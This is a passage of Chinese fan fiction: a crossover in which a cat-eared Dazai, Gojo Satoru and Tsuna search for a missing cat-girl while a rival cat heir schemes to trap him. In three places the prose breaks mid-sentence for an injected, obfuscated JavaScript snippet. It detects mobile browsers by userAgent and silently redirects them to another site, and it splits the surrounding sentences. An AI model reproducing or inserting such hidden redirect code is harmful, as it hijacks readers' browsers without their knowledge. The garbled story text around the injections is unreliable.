只是在记恨从一开始到现在,一直以来你随意把我拎来拎去,抱来抱去以及绑着我的手,给我的尾巴系蝴蝶结等等等等的事情而已。 真要说起来那就说不完了。 矢口否认的太宰闭上嘴,朝左边站着一脸不相信的五条悟斜了一眼。 因为对方的个头有点高,这一眼还让他的头颅被迫后仰,头顶两只猫耳朵也跟着往后倾倒。 扁了扁嘴,太宰状似嫌弃地摆手,“靠太近啦,是说啊,你个子长这么高就是为了用来挡住光吗?” 五条悟:“……” 长太高也怪我咯? 等五条悟怏怏然照着他的话走远两步,太宰举起手,手心凭空浮现出一把黑色手枪。 “这是……?太宰君?你哪来的手枪?”身后纲吉疑惑的声音传了过来,刚刚见太宰治和五条悟两人之间似乎有破冰的迹象,他就没插嘴,直到这会儿才忍不住好奇心。 太宰没说话,移动手枪,对准第一层抽屉里刚刚摸到的地方,枪口偏离一分…… “等等,你该不会想在医院开……”在纲吉陡然变色的声音中,他果断扣动扳机。 砰! 18.想戳一戳你的嘴角 一声轻微的枪声响起,同时伴随着泡泡被戳破一样的声音,子弹擦过的地方,一个罩子一样的东西显现出来,仿佛不稳定的电视信号一样,一瞬之后就化为虚无。 子弹在抽屉内层打出一个孔洞,随后,病房内的三个人都听到了接连响起的三道越来越轻微的噗声。 如果挨个观察全部抽屉,就可以看到每一层的抽屉都多了一个细小的孔洞,孔洞和孔洞之间,连起来恰好是一条弧线,沿着这条弧线去找的话,最后还会在地板上找到一个凹痕,可能还有一颗嵌在里面的子弹。 为什么说可能呢?因为太宰射出去的这颗子弹有一点不普通的特性。 虽然在射击的时候是实体状态,看起来和正常普通子弹一样,但它毕竟是从一把不同寻常的手枪里射出来的,自然也有不同之处。 它的不同之处在于,在手枪换弹之后,原本射出去的子弹都会自动消失。因此,如果是一个小时后再去找,只会在地板上找到一个凹痕,子弹自然是找不到的了。 一枪过后,太宰抬起右手手腕,指着抽屉的枪口随之向上扬起,同时无所谓般挥了挥空着的左手,“声音很小哦,不会打扰到医生的,我已经试过了。” 纲吉:“……” 声音很小就可以开枪了?医院是可以随便开枪的地方吗? 还有,你在哪里试过?我很害怕啊…… “没事啦,有你的五条老师在嘛,被发现了大不了让他带着我们逃跑~” 太宰的声音里满是理所当然,脸色逐渐迟疑的沢田纲吉往左一看,五条悟竟也是一脸我没有意见的表情,三个人中唯一正常的常识人内心抓狂又郁闷,甚至开始怀疑人生——难道是他想错了? 没管身后两人产生了什么样的心理活动,太宰治张开右手,手枪从他手中滑落,落入空气中,一下就被吃掉了。 盯着眼前从一片虚无中现形的两件物品,太宰微微勾唇,“我猜的果然没错,玲不是自己主动离开的。” 第一层原本空空荡荡的抽屉里,赫然出现了一个红色蝴蝶结和一包糖果。 蝴蝶结是正红色,历经时光的冲刷,缎带的颜色已不鲜艳,却未褪色半点,其下绑着一个小巧的银色铃铛。 星星形状的糖果,被装在精致的米黄色纸袋里,半透明的袋子开口被用一条红绳歪歪扭扭地系住。 “什么?” “玲同学没事吧?” 分别站在他左右两边的两个人都凑了过来,空气一下子变得拥挤起来。 “也说不好呢,”太宰微微眯起眼睛,抬起头,再次环顾一圈,“不过玲的消失现场并无战斗痕迹,也没有鲜血,带走她的人甚至找了一个说得过去的借口,这个借口让她以后回来不成问题。” “她的母亲看起来也多有配合,估计不是仇人,最可能的是……”太宰用拇指抵住嘴唇,那是一副沉思的模样,“族人,长辈?或者是恰好掌握了一些权利的……” 最后那个词湮灭在空气里,时间在静寂中流逝了一分钟左右,太宰的视线仍然没有焦点地漂浮着,仿佛在看什么及其遥远的地方。 “太宰君?你想到了什么?玲同学真的没事吗?” “……玲应该没事,不用担心。” “那我就放心了。”纲吉才吐出一口气,下一口气就被旁边两人的动作和对话噎在喉咙里。 只见五条悟突然把手放在太宰的面前,晃来晃去地似乎在玩什么幼稚的‘看我快看我’的游戏。 不过这一招也确实奏效了,太宰的视线聚焦在眼前的手掌上,语气平平地开口道:“五条先生,我的眼睛没瞎哦,把你的手拿开。” 五条悟以极其缓慢的速度移开手掌,“我看你突然不说话,还以为你看到了什么好玩……可怕的东西。” “其实我看到了五条先生的糗事哦。” “是吗?可是我从小到大都没有发生过一件糗事啊。” “五条先生还真是自信呢~” “你又开始夸我了,有点不好意思啦~”此人经先前那一遭,已是迅速地进化了。 …… 数个回合后,在纲吉绞尽脑汁的劝说下,两人终于休战,或者说太宰的单方面嘲讽终于停止。 感觉无聊的五条悟移开目光,落点恰巧回到被打开的抽屉里,“咦,是我送给玲同学的金平糖,玲同学原来还没吃完吗?” 纲吉也朝着那个方向瞧了一眼,随后好奇地转过头,“对了,刚刚太宰君你是怎么看出来的?我和五条老师都没有发觉空荡荡的抽屉里面还藏着东西欸。” “玲既然答应了你的五条老师自己不会擅自出院,她就不会言而无信。”太宰抬起眼帘,想起了什么似的,眼里浮现淡淡的笑意,嘴角也微微扬了起来。 这一抹微笑似乎和平时露出来的不同,格外真实,如同无边黑夜里的一轮弯月,距离遥远又近在眼前。 恰巧被月光照耀到的五条悟顿在原地,垂在一侧的右手控制不住地微微抬起,食指颤动着往上伸。 这个小鬼,明明脾气坏得要命,不仅喜欢戏弄人、喜欢怼他,还非常记仇,是名副其实的小恶魔,按理说他不应该…… 可他这会儿笑着的样子,却让人忍不住想戳一戳他的嘴角,看他的嘴巴还是不是柔软的…… 闭了闭眼,顺势把抬起一点的右手揣进裤兜里,再次睁开眼睛的五条悟觉得自己有点奇怪——他为什么会产生这种想法? 捋一捋猫也就罢了,太宰到底是个人,还是个认识没几天的人,就算是他也会觉得这种行为属实有点冒昧了。 还没等他想出个所以然来,就见太宰挑起眉头,嘴角也稍微上挑了一点,那个温柔的笑容转眼间就变成了讥诮,“说什么玲自己一大早离开医院,这件事我从一开始就不相信。” “一般人的习惯是把自己常用的东西放在最方便拿到手的地方,玲的床头柜里,喝过水的水杯就放在最容易拿到手的最上层,说明她也有这个习惯,不是那些不喜欢遵守常人习惯的特别物种。” 特别物种?五条悟嘴角一抽——也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564715|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用把那些人都开除人类物种吧。 “第二层抽屉放着用了一点的纸巾,却将第一层抽屉空着,这让我察觉到了一点违和感,随后我对比观察第一层抽屉和第三层抽屉……” “然后,你就发现了关键证据!”纲吉眉飞色舞地插了一嘴,侦探小说里都是这样描述的,原来太宰君真的是个侦探啊,那他和五条老师现在就是侦探的助手! “你想多了,我什么都没有发现啦~”太宰摊了摊手,“我还没有到乱步先生那种一眼就看出真相的程度呢。” “欸——!”失望之情溢于言表的纲吉拉长声音叹息了一声,但一转眼他的表情又兴奋起来,两眼冒光地追问道:“你们那个武装侦探社里还有一个比你更厉害的侦探吗?” “乱步先生可是世界第一的名侦探呢,有机会见识到的话,你说不定真的可以当个侦探助手试试。”太宰笑嘻嘻地说。 “哇啊,有时候我觉得太宰君真的是妖怪也说不定,就是那种传说故事里,会读心的九尾狐妖,”可惜是猫妖,纲吉瞅了眼太宰头顶一动一动的猫耳朵,“我在想什么你都知道。” “是纲吉的表情太好懂啦~”太宰扬起手,一指头弹在他的额头上,“比如说纲吉现在就在对着我头上的猫耳朵动歪脑筋吧,不许再想我是个妖怪了,猫妖也不行哦。” “啊,哈哈,”眼神立刻麻溜地从太宰头顶滚下来,纲吉捂着额头,脸上泛起被说中心事的红云,接下来的话几乎是从嘴里挤出来的:“那什么,我们还是说回原来那个话题吧……” “让纲吉做侦探助手……”旁边五条悟幽幽的话语飘了过来,“太宰,难道你们侦探社很喜欢招未成年做侦探吗?你自己就是个未成年,还要拉另一个未成年进去。” 来回看了两人几眼后,他又不甘不愿地补了一句:“……虽然你现在是很有前辈的样子啦。” “哎呀,我没有和你们说吗?”太宰状似不好意思地笑了笑,“我已经22岁了哦,这副样子是我16岁的时候的面貌,和我本来的模样有一点不一样。” “未来的我比现在的我高了这么一大截呢~”太宰一只手举到和五条悟眼睛平齐的高度,一只手举到自己头顶,重重地比划了一下差距。 很微妙啊。 长大后改变的重点竟然只是身高吗? 五条悟微微蹙起眉头,刚刚才说他表现得很成熟,现在却又变得幼稚起来。 仿佛是在做作地表演,又仿佛是在发自真心地高兴,让人摸不透他的内里到底是怎么想的。 就像是一本明面上看过去薄薄的书,意外翻开第一页后,读到的精彩内容让他完全停不下手,而在不知不觉中,这本书竟也越翻越厚,仿佛没有尽头一样。 他始终不知道下一页等着他的会是什么。 想到这里,五条悟突地勾起嘴角,眸中闪过一抹兴奋之色,整张脸也跃跃欲试起来。 停不下来那就不停了!这不是很有挑战性嘛~ ——你到底是个什么样的人呢,太宰治? 19.没烦恼和不愉快 太宰浑身打了个激灵,头顶一双猫耳朵炸起了毛,他猛地转头,眼睛微微睁大,视线直直地望到那双仿佛天空一般的眼睛深处,“……五条先生在想什么?” 纤长的银白色睫毛下,那双苍蓝色眼眸似乎是一如既往的澄澈。 “没什么啦~”五条悟冲他露出一个与往日无异的笑容。 “切——,刚刚说到哪里了?”没当场抓到对方的把柄,太宰暂且放下自己的疑虑,食指点着自己的下巴自问自答,“想起来了,我们刚说到抽屉的问题。” 他将视线投往被打开的抽屉内部,“两个抽屉都干干净净没有一点灰尘,昨晚玲应该把柜子仔细清洗了一遍,这种医院的公用柜子,一般不会干净到这种程度。” “体积大小一致,没有隐藏的暗格。” “所以我猜是不是有什么东西蒙蔽了我们的视野,鉴于这个世界出现了你,”太宰指向五条悟。 “我?”五条悟手指向自己的鼻尖,一脸不解。 “虽然我对这个世界还不了解,不过就我见过的人来说,其中以那个找上门来的西索最为出名,也最不容小觑,而你在面对他时毫无惧色,打得不相上下,你们至少是同一个档次的强者。” “是在夸奖我对吧,”五条悟摸了摸后脑勺,笑着给了他一个鼓励的眼神,“太宰你今天夸了我很多次啊,再接再厉。” 没有很多次。 “还有你,”太宰冷静地转了一圈,指着的人变成了沢田纲吉,“一个变身后会头顶冒火的怪人,你的能力我也没见过。” 总之都不是异能力就是了。 “以及玲和我,我们所有人使用的能力似乎都不同,最后还有电视上说的,我还没见过的标签似乎也是一种能力体系,”太宰轻敲柜面,双眸闪过思索之色,“这个世界大有问题啊。” “我那是超死气模式,”纲吉弱弱地举起手抗议,“不是什么变身后会头顶冒火的怪人……” 被太宰君这么一说,明明很帅气的超死气模式好像都变挫了不少。 “这不重要。”太宰丢给他一个眼神,让他自行领会其中真意。 他举起手,一把熟悉的黑色手枪变魔术一般在他手心凭空出现,“从这把枪里射出来的子弹,据它自己介绍,可以破除这个世界上所有的非自然能力。” 就像是他的异能力在这个世界的延展。 “我已经在西索身上试验过了,至少它确实可以破除西索的能力,所以在我摸索第一层抽屉,手指遇到阻碍时,就决定用这把枪试试。” “幸运的是,它射出的子弹确实破除了那一层障眼法,帮我找到了决定性的证据。” “你说的决定性证据,是指被藏起来的蝴蝶结和金平糖?”五条悟的视线投向第一层抽屉。 “这个铃铛可是一件非常重要的宝贝呢,”太宰朝抽屉内部伸出手,手指捏着蝴蝶结的一角,把静静躺在里面的蝴蝶结铃铛拿起来,摇了摇,铃铛并未发出响声,“我可以确定玲绝对不会忘记带走它。” “如果你说的是真的,玲同学确实不是自己主动离开的。”五条悟点头。 “至于这包金平糖,”太宰的视线在五颜六色的糖果上停留了一瞬,慢慢转移到五条悟的脸上,“看不出来五条老师你在玲的心里还是很重要的嘛~” “竟然把你给她的糖和她最重要的铃铛藏在一起。” “老师我确实很受学生欢迎哟~”五条悟挑起眉,一手插兜,一手抬到眉间,食指和中指并起,由里朝外挥了一下。 “……”太宰的目光骤然凝滞,干巴巴地移开,钉在空中无人在的一点上,食指点着自己的下巴,在“喂,又无视我!”的背景音中陷入沉思:“为什么在这个时候突然把玲带回去?” 玲曾经说过族内要为猫之千办庆典,因为看不爽那家伙,所以她只会在庆典前一天回去,也就是说她还是会回去的,她的族人没有理由提前强制她回去。 那么玲被带走这件事应该和庆典无关,是因为其他的事情吗? 玲消失这件事正好在她答应带他去找猫之千的关键时刻,有点巧,会和猫之千有关系吗? 总不能是因为缺了她庆典就举办不了吧? 五条悟:“什么庆典?” 嗯?刚刚他不小心说出声了?太宰撇了撇嘴道:“猫之一族的庆典,据说是为了庆祝猫之千继承了祖先的优越天赋。” “你怎么知道?我都不知道。”五条悟疑惑地望着他,“刚刚我还没问,你为什么这么确定玲绝对不会落下这个铃铛,你们也就见了一次吧,交情就这么深了以至于她什么都跟你说?” “秘~密~”太宰在嘴前竖起食指,食指背后是一个让人恼火的神秘微笑。 没等五条悟继续将追问说出口,他转而换成一副正经的口吻:“总之就是这样,这里没什么线索了,玲用来藏东西的手段也被我破坏掉了,为了防止这些珍贵的宝物遗失……五条老师!” 相比前一段话,他叫人名字的语气突兀地变得高昂,叫暗自挠头的五条悟看了过去,“干嘛?” “铃铛和金平糖就交由你来保管啦~”太宰朝他的方向展开手掌,中心缀着一颗铃铛的红色蝴蝶结好好地躺在白皙的手心上,一长一短的柔软缎带从两侧垂落。 轻快的少年音宛如在同人撒娇,分明刚刚还在不待见他,交托他重要物品的动作却熟稔非常,最重要的一点是,五条悟从他这个动作里收获了一个信号——太宰信任他。 心情大好的五条悟捻起蝴蝶结,仅仅是软绵绵地抱怨了一句:“你这家伙又在使唤我。” “铃铛不方便放在我这里,金平糖又本来就是你给她的,这两件东西都交到你手上更合适,等找到玲后你再还给她。”太宰笑着解释道,随后转过头唤了一声:“纲吉!” “欸……,啊,我在!”被点到名字的沢田纲吉差点举起手,幸好他想起自己现在不是在课堂上,太宰也不是他老师,及时止住动作。 “借我手机一用。” “好哦,”纲吉乖乖地从外套口袋里掏出手机,主动解锁屏幕,递给太宰,神色难掩好奇,“你想给谁打电话?” “就发一条短信啦,”太宰在手机上鼓捣了大概半分钟,转身面朝门口,一边往外走,一边把手机递还纲吉,“我们先离开……” 话没说完,他突然变回了黑猫,幸好在变身前半秒钟,他脑海里浮现一丝预感,险险把剩下的话咽在喉咙里,及时刹车,才不至于出口成喵。 被他捏在手里的手机在这由人变猫的剧烈变化中不出意外地脱落,但被手疾眼快的纲吉飞扑上去接住。 沢田纲吉紧紧握住自己回来不易的私人财产,抓住手机的那只手,手心甚至渗出了点点汗液,他脚下踉踉跄跄的,身体因为这一扑止不住地直往前冲,因为用力过猛眼见就要一头撞上前方的白色立柜。 幸好在撞上的前一刻被一只横空插入的大手抵住额头,铜墙铁壁一般强行停住他前冲的势头。 费了好大劲站稳脚跟后,纲吉心有余悸地呼出一口气,一低头,前方地面上蹲着的黑猫,那圆圆的鸢色眼睛似乎收缩了那么一刹那。 尽管从一张黑乎乎的猫脸上看不清具体神色变化,但超直感提醒他刚刚似乎发生了什么。 同帮忙的五条悟道了一声谢后,他一脸担心地小声询问:“太宰君?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580776|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑猫一双三角形耳朵竖起,尾巴啪啪地拍打了两下地板。听到纲吉的声音后,他仰起脸,对着他面色平静地摇了摇头。 “真的没事吗?” 再次得到黑猫没事的回复,沢田纲吉不好再问,蹲下身,向着黑猫伸出手,“太宰君,上来,我带着你走。” 临了他还是憋不住又添了一句:“你有事的话一定要说出来,我和五条老师都会帮你的。” 听到他的话,黑猫既没有点头也没有摇头,因为他被闪电突袭的五条悟一把从地上薅了起来,“是——啦,我会帮你的哟~” 他的声音听起来很是愉快。 再次被五条悟抄在手心里的太宰猫很是不愉快。 “五条老师?”沢田纲吉既疑惑又吃惊。 “接下来我来带他走,我们两个去玲同学的家里看看,纲吉你不用担心,你先回学校去,你是从课上跑出来的吧,那位化学老师,虽然现在这么说已经迟了,但还是回去和他道个歉比较好哦~” “……说的也是。”蹲着的沢田纲吉身体僵硬了片刻后才慢吞吞地站起来,一想到回去后自己将面对什么惨烈的局面,他就不由得脸色泛白,似乎连胃都痛起来了。 一行人从医院出来,在人行道上分别。 五条悟冲着纲吉挥了挥手,道别的话尤其与众不同:“回去的路上自己小心点,你过来的时候看起来真的很需要进一次医院。” “……”单手捂着自己的胃部,沢田纲吉沉默无言地点了点头。 目送他摇摇晃晃地转身,五条悟撸了一把黑猫头,顺便轻松躲过猫咪的牙齿和爪子攻击,“只剩下我们两个了,过去的路上顺便去买点甜点吧。” 在路上的甜品店买了一大袋甜品,五条悟一手猫一手甜品地来到玲同学的家门口,没有钥匙也不方便私自进去的他们在附近转了一圈,什么线索都没发现。 玲同学的家只是一栋普普通通的二层民居,从周围的邻居那得来的消息,和五条悟上午搜集到的没多大区别。 花了一个多小时却一无所获,眼见天色已晚,五条悟打算打道回府了,他侧过头,“应该是找不到什么新线索了,我们回去吧?” 视线所及的方向,一只黑猫稳稳蹲在他的肩膀上,两只前爪的爪尖已经部分刺入浅蓝色衬衫里。 被当面抓到此等‘犯罪行为’,我行我素的太宰猫却毫无做错事的心虚感,他慢条斯理地抽出爪子,往旁边挪了几步,这一挪,却把一些更多的证据丢了出来。 五条悟的右边肩膀上,有些布料勾了丝,有些地方被戳了一个洞,到处都布满划痕,和完好无损的左边一对比,尤为凄惨。 可衣服的主人就像是没看到一样,眼都没眨一下。 等了半分钟后,瞧见太宰猫仍然没有更多的反应,五条悟拍拍手,将手上吃空的甜品袋子卷成团,隔着十米远的距离准确地扔进路边的红色垃圾桶,转身便往回走。 没反对就是默认。 大步走出一段距离后,他微微蹙起眉头,眼睛也微微眯起,似乎在忍耐着什么。 又过了大概八九分钟后,五条悟突然捏着黑猫的后脖颈,把他从自己的肩膀上提下来,“抓烂我的衣服我可以原谅你,但衣服破掉后,你还待在那里……” 顿了一下,他说:“毛绒绒的,像是在给我挠痒痒。” 黑猫一双鸢色的眼睛登时睁得圆溜溜的。 一只手揣着黑猫在胸前,另一只手将黑猫疯狂作乱的两只前爪固定在一起,五条悟放松下来,心满意足地往前走。 走了没多久,迎面忽然传来一道激动到几乎破音的声音:“站住,你这个抢猫犯!” 20.嘻嘻 时间倒转回下午两点多,一个绿意盎然的庭院里,拥有白色毛皮的漂亮猫咪蹲在高高的猫爬架顶端,以斜四十五度角仰望天空的姿势傲视苍穹。 “千大人,您下在暗塔,指定委托给风信子的任务有消息了。”头顶一双尖尖的橘色猫耳朵,担任管家一职的橘发青年站在它面前恭敬地报告道。 名为猫之千的布偶猫矜持地小幅度颔首,惜字如金,“讲喵。” “您要找的黑猫现在正和五条悟、沢田纲吉这两个人在一起,他们于今天下午一点四十三分进了玲小姐曾经住过的同心医院。” 管家猫的双手上戴着一副洁白的手套,此刻他用戴了白手套的右手推了一下架在鼻梁上的金丝眼镜,慢条斯理地道:“目的只能是去找玲小姐了。” 顿了一下,他提起一直被抓在左手里的黑色公文包,拉开顶部的银色拉链,从夹层里掏出一个白色平板,把公文包放到草地上。 左手托着平板,右手打开,眼睛一扫点开某个应用程序,放大其中一页,随后倒转平板,双手递到布偶猫面前,“这是风信子随消息发来的照片。” 照片上正是灰头土脸的沢田纲吉头顶黑猫太宰和五条悟会和的那一幕。 布偶猫低下小脑袋,眼睛盯着图片细细分辨了片刻后说:“确实是我要找的太宰治喵。” “同时风信子随信附来问候,问给他的委托金什么时候到账,”管家猫平静地托着平板,“如果您真的确认没问题,我待会儿就去结算任务。” “没问题,照我在任务上提供的最高委托金给他结算,这位风信子先生的效率我很满意,以后也许还用得着他。”布偶猫挺起胸膛,幅度微小地点了点头。 挥挥爪子示意可以将照片收起来了,布偶猫抬起头,一双眼睛亮得几乎要发光,两边嘴角也得意地弯了起来,身体离奇地盘成姿势诡异的一坨。 猫之玲已经被他强行带回来了,太宰治是不可能找到她的,找不到猫之玲就不能通过她找到猫之境,找不到猫之境就找不到他,只要等到宴会开始,这个副本就是他赢了。 哇咔咔,他要翻身做主人啦! 这副小人得志的模样,即使出现在一只漂亮的布偶猫身上也显得贱不嗖嗖的,简直叫人没眼看。 看着这样的布偶猫,仿佛有一群羊驼在心里呼啸而过,管家猫的呼吸都沉重了几分,他郑重地咳嗽一声,但面前的布偶猫没什么反应,于是将喊人的声音稍稍放大了一倍:“千大人?” “喵?”被叫醒的布偶猫明显受到了惊吓,管家猫能看到它的瞳孔收缩成了一条细线,毛绒绒的尾巴也竖了起来。 “咳咳,”打眼一看,一切风平浪静,布偶猫装作若无其事地把竖起的尾巴偷偷放下来,前爪一抬,抹掉从嘴边流下的口水,“……还有什么事喵?” 现在还不是幻想时刻。 “太宰治……”管家猫沉吟了一会儿,“千大人说的是近期上了通缉令的那个太宰治?您也对抓到他有兴趣?那我可以在这件事情上为您提供协助。” “不是啦喵,”布偶猫把头摇得像拨浪鼓一样,“我要找的不是那个太宰治喵。” 难不成还有两个太宰治?心里直犯嘀咕的管家猫看了他一眼,没在这件事情上纠缠,换了一个话题,“玲小姐正在抗议您把她关起来的行为,说这是侵犯了她的人身自由,如果您没有充足的理由,她就要告到大长老那里去。” 布偶猫肉眼可见地变得不高兴,一张圆圆的猫脸拉长了一半。 但一转眼他又高兴起来,他想起了猫之玲这次受伤的原委,“你去跟大长老说,猫之玲这家伙在外面惹了一个我们一族无法匹敌的敌人,出去会有致命危险,所以短时间内都不能放她出去喵。” 说完后他似乎想到了什么,急匆匆地补上一句:“我这是为了她好喵。” “敌人?玲小姐招惹的敌人是谁?”管家猫的脸色一下子严肃起来。 “西索喵。” 管家猫:“……” 管家猫:“千大人,我们一族和西索毫无关系,玲小姐怎么会惹到这样的敌人?” “你难道在怀疑我说假话喵?”布偶猫大怒。 也不是没有这个可能,管家猫沉默下来。 千大人和玲小姐一向不对付,其他的小事也就罢了,他可不敢在实际统管全族的大长老面前帮千大人撒谎,还是在有关拘束玲小姐的事情上。 因为猫之千以往干的一些狗屁倒灶的事情,它的信誉值在管家猫的心里已经降到了极为可怜的水平。 管家猫比猫之千大一辈,是看着它们这群小猫长大的,掌握了最多的信息,这是真·历史战绩可查。 “这次我可真不是在说谎喵,”瞧见管家猫名明晃晃的不信任,暴怒的布偶猫一怒之下怒了一下,片刻后它将猫猫嘴弯成了三角形,“猫之玲这次受伤,她的老师昨天打电话过来和我们说明了她的情况喵。” “猫之玲是被西索打伤的,虽然为什么会被他打没说,但是她确实是被西索打伤的,猫之玲自己也承认了这一点喵。” 管家猫点点头,表情平静地说:“我会去向玲小姐核实的,电话是打给谁的?” “猫之秀喵,猫之玲这家伙给自己填的家长是她的堂姐猫之秀,关系是母女哈哈哈喵。” “好的,千大人,我了解了,我同意暂且不放玲小姐出去,等我核实之后,我会向大长老说明情况。”管家猫鞠了一躬,正打算离开,转身之际突然被猫之千叫住,“等等,还有一件事我要让你去做。” “什么事?”管家猫停下脚步,回来笔直站好。 “暂时封锁猫之境和外界的出入口,从今天开始,直到开宴会的那一天再打开喵。” “为什么?”管家猫皱了皱眉,一脸不赞同,“封锁出入口的话,这段时间内在外界的族人轻易回不来,我们也出不去,会造成不小的麻烦。” “你只要照着我都命令做就是了,我这个少族长连这点权力都没有了吗喵?”布偶猫朝他哈了一口气。 再次推了推架在鼻梁上的眼镜,管家猫点点头,没再问为什么,“谨遵命令。” 看着橘发青年远去的背影,布偶猫想起两天前出现在脑海中的那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590631|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕,不禁喵喵喵地大笑起来。 【题名:虚幻亦或现实,过去还是未来?】 【任务:阻止太宰治在宴会开始之前抓到你。】 【奖励:标签『人间失格太宰治』】 【备注:任务成功,你将不得了地获得一个和你绑定的宠物太宰治,但如若任务失败,你也将获得一个不得了的,和你绑定的主人太宰治,这听起来怎么样都不亏是不?但你要真这么想就活该被这个标签世界淘汰,嘻嘻。】 嘻嘻,仿佛听到了嘻嘻……嘻嘻……嘻嘻……嘻嘻的鬼畜笑声,还是自动循环播放的那种。 嘻嘻个鬼啊!这么刺耳的备注为什么还没有滚出这个世界喵? 还有,投诉键在哪里? 不好意思,独家垄断版本是没有一键投诉功能的。 再次想起来备注的这段话,猫之千的呼吸都有点不顺畅了,它主动屏蔽掉脑海里阴魂不散的备注,以四十五度角仰望天空,再一次的,开始想象自己美好的未来。 断掉线索猫之玲,再封锁掉猫之境的出入口,我看太宰治那家伙怎么在宴会开始之前抓到我喵。 而且,既然副本任务是发给我的,那么身为副本针对对象的他,恐怕到现在都不知道自己的身上还有时间限制吧喵。 优势在我喵! 今天是周五,离宴会开始还有四天,只要拖延到开宴会那天,我就赢了,轻轻松松喵~ 一个人类宠物,还是被备注评价为不得了的人类宠物,族内……嗯,不只是族内,这一整个世界里,还没有哪个猫妖能得到这种奖励呢喵。 我是第一个喵! 我要名扬妖怪界啦喵! “猫之千简直有病!” 从医院消失的猫耳少女玲啐了一口,横躺在床上哼哼唧唧了一会儿后,往左边翻滚一圈,动作做到一半,她的脸色骤然变白,捂着肚子蜷成一团。 她撞到伤口了。 等到仿佛被用锤子砸中手指的痛感消退,不敢再随意动作的她慢吞吞地放开手脚,神色焦躁至极。 手控制不住地往头上扯,她的头发这个时候已经是乱七八糟的形状,颊边留下的长发和后头的几根辫子缠绕在一起,额前刘海一小半向上贴在头顶,剩下的部分往哪个方向生长的都有。 这不像是在床上压出来的,反而像是自己挠出来的。 穿在身上的米白色棉布半身裙也不复整齐,褶皱和压痕比比皆是。 慢动作地从床上翻身起来,玲穿上拖鞋,走到门口,推开棕红色木制大门,走出三步后停下,指关节用力敲上空气,咳了几声后,声音嘶哑地喊道:“放我出去!” 这一番动作的全程,她都紧蹙着眉头,脸上也没有一点血色,苍白得如同一瓢雪。虽然这种程度不至于加剧伤势,但伤口时不时地痛楚发作也是不可避免的。 本来毫无一物的空气突然自她敲击的部位泛出一点流光,随着她越来越狂暴的敲击,点点流光扩散开来,一个球形的罩子隐隐浮现。 “你们不能把我关在这里,我要求面见大长老,我有这个权力!” 21.太宰小可怜 十步开外,两位充当守卫的猫青年对视了一眼。 左边的守卫左耳压低,紧紧贴在头发上,右耳正常竖起,姜黄色的脑袋往右边的守卫靠近,做足了一副咬耳朵的姿态:“右耳,怎么办?玲小姐的要求是正当的,但千大人的命令也不能违背。” 右边的守卫翻了个白眼,他的右耳压低,紧紧贴在头发上,左耳正常竖起,姜黄色的头发翘起一缕,“左耳,这件事跟我们没关系,玲小姐的要求我们已经通报给管家了,他会处理的。接下来,管家怎么吩咐,我们就怎么做。” “如果我两只耳朵都听不见就好了。”左耳忧愁地捏了捏自己正常竖起的右耳朵。 “我真是受不了你,到底是哪个正常猫会希望自己双耳失聪啊!”右耳不耐烦地道,“要不是你和我的长相一摸一样,我真要怀疑母亲是从哪个垃圾桶里把你捡来的。” “猫之左,猫之右,放我出去,听到没有?” 守卫们再次对视一眼,他们头顶那两只正常竖起的耳朵咻地一声全部往下贴,听不见听不见。 一个向左转,一个向右转,双胞胎守卫们姿势端正地站好,统一面无表情地目视前方,除了头上那只竖起的耳朵朝向不对之外,其他地方一摸一样,就如同两个复制粘贴而成的npc。 “左耳,右耳,你们两个别装听不见,快放我出去!” npc守卫们毫无反应。 “我有很重要很重要的东西落在外面,就算不放我出去,拜托你们两个,谁都可以,帮我去拿回来行吗?”传过来的声音软了几分,听着楚楚可怜。 左耳忍不住侧了侧脑袋,面露恻隐之色,“右耳……?” “别听她的。”铁石心肠的右耳看起来一点也没动摇。 “左耳,拜托你了,帮我拿回来就好,这件事很简单的。”玲似乎能看见两个守卫的细微动作,目标明确地找到了好说话的那位头上。 “对了,你不是很喜欢上次我带回来的人类食物吗?如果你这一次帮我,我就请你去吃人类做出来的最好吃的食物。” 左耳的右耳朵竖了起来,身后的长尾巴摇成了电风扇,看着右耳的眼睛亮晶晶的,“右耳哥……?” “啊啊啊啊,”右耳朝没有人的一侧撇过头,粗声粗气地道:“我同意帮你,我和左耳都帮你!” “好欸,我就知道右耳哥会帮我,我要吃芝士汉堡,还有、还有……”左耳想了半天都想不出他还要吃什么,毕竟他没吃过人类世界的其他食物。 “就知道吃,”右耳白了他一眼,“等我们到了人类的世界你想吃什么都可以,反正玲小姐说她买单。” “没问题,什么东西都可以,我全都买单。”玲的声音听起来很高兴,“你们两个过来,我告诉你们要去哪里,拿什么东西……” “诶右耳哥你要和我一起去吗?” “当然要和你一起去了,放你一个猫出去,我怕你被人卖了还替他数钱。” 